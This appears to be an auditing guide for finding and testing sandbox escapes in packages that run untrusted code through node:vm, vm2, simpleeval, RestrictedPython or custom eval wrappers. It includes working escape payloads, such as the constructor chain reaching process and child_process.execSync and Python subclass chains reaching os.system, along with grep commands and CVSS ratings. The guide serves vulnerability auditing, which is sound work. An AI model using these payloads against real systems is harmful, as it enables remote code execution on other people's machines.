Sandbox Escape Detection
When to Use
Audit any package that uses node:vm, vm2, isolated-vm, simpleeval, RestrictedPython, or custom expression evaluators to run untrusted code.
Key Insight
node:vm is NOT a security mechanism. The Node.js documentation explicitly states this. Constructor chains ALWAYS escape the sandbox. If a package uses vm.runInNewContext() to isolate untrusted code, it is vulnerable.
The Constructor Chain (node:vm)
The fundamental escape from node:vm:
// Inside vm.runInNewContext({}, {}):
this.constructor.constructor('return process')()
// Returns the real process object from the host
Then achieve RCE:
const process = this.constructor.constructor('return process')();
process.mainModule.require('child_process').execSync('id').toString();
Why This Works
thisrefers to the sandbox objectthis.constructorisObject(from the outer realm)Object.constructorisFunction(from the outer realm)Function('return process')()executes in the outer realmprocessgives access torequireand the full Node.js API
Process
Step 1: Find Sandbox Usage
# node:vm
grep -rn "require.*vm.*\|from.*vm" . --include="*.js" --include="*.ts"
grep -rn "vm\.runIn\|vm\.createContext\|vm\.Script\|vm\.compileFunction" .
grep -rn "new Script\|runInNewContext\|runInThisContext\|runInContext" .
# vm2 (deprecated)
grep -rn "require.*vm2\|from.*vm2\|new VM(\|new NodeVM(" .
# Python sandboxes
grep -rn "simpleeval\|SimpleEval\|EvalWithCompoundTypes" .
grep -rn "RestrictedPython\|compile_restricted" .
grep -rn "ast\.literal_eval" .
# Custom sandboxes
grep -rn "sandbox\|safeEval\|safe_eval\|secure_eval" .
Step 2: Identify the Sandbox Mechanism
| Mechanism | Security Level | Notes |
|---|---|---|
| node:vm | NONE | Not a security boundary. Always escapable. |
| vm2 | LOW-MEDIUM | Deprecated. Multiple CVEs. Check version. |
| isolated-vm | HIGH | Separate V8 isolate. Genuinely isolated. |
| quickjs-emscripten | HIGH | Separate engine in Wasm. |
| Python simpleeval | MEDIUM | Safe for simple expressions. Check version. |
| Python ast.literal_eval | HIGH | Only allows literals. Safe. |
| RestrictedPython | MEDIUM | Check version for known bypasses. |
| Custom eval wrappers | LOW | Almost always bypassable. |
Step 3: Test Escape Vectors
For node:vm, try these in order:
- Constructor chain:
this.constructor.constructor('return process')() - arguments.callee.caller (if in function context)
- Error stack inspection
- Proxy/Reflect objects (if available in sandbox)
- Symbol.hasInstance override
- Dynamic import() (if supported)
For Python, try:
().__class__.__base__.__subclasses__()-- access all loaded classes''.__class__.__mro__[1].__subclasses__()-- string class hierarchy- Function object access:
func.__globals__,func.__code__ __builtins__access through various chains
Step 4: Check for Mitigations
grep -rn "freeze\|preventExtensions\|defineProperty" . # Object hardening
grep -rn "Proxy\|handler\|revocable" . # Proxy-based protection
grep -rn "whitelist\|allowlist\|blocklist" . # Function filtering
Common Escape Patterns
Pattern 1: node:vm Direct Escape
const vm = require('vm');
const sandbox = {};
vm.runInNewContext('this.constructor.constructor("return process")()', sandbox);
// Returns the real process object
Pattern 2: Python simpleeval Class Hierarchy
from simpleeval import simple_eval
# Access os module through class hierarchy
simple_eval("().__class__.__base__.__subclasses__()[X].__init__.__globals__['os'].system('id')")
Pattern 3: Custom Sandbox Bypass
// Custom "safe" eval that blocks require/process/global
function safeEval(code) {
return new Function('require', 'process', 'global', code)(undefined, undefined, undefined);
}
// Bypass: arguments.callee.caller gives access to outer scope
// Or: this.constructor.constructor('return process')()
CVSS Guidance
- Sandbox escape to RCE (unauthenticated): CRITICAL 9.8-9.9
- Sandbox escape to RCE (authenticated): HIGH 8.8
- Sandbox escape with limited impact: HIGH 7.5
- node:vm used for security = always CRITICAL (it is not a security mechanism)
References
- Sinks -- Sandbox mechanisms and escape patterns
- False Positive Indicators -- When escape is blocked
- PoC Skeleton -- Sandbox escape PoC templates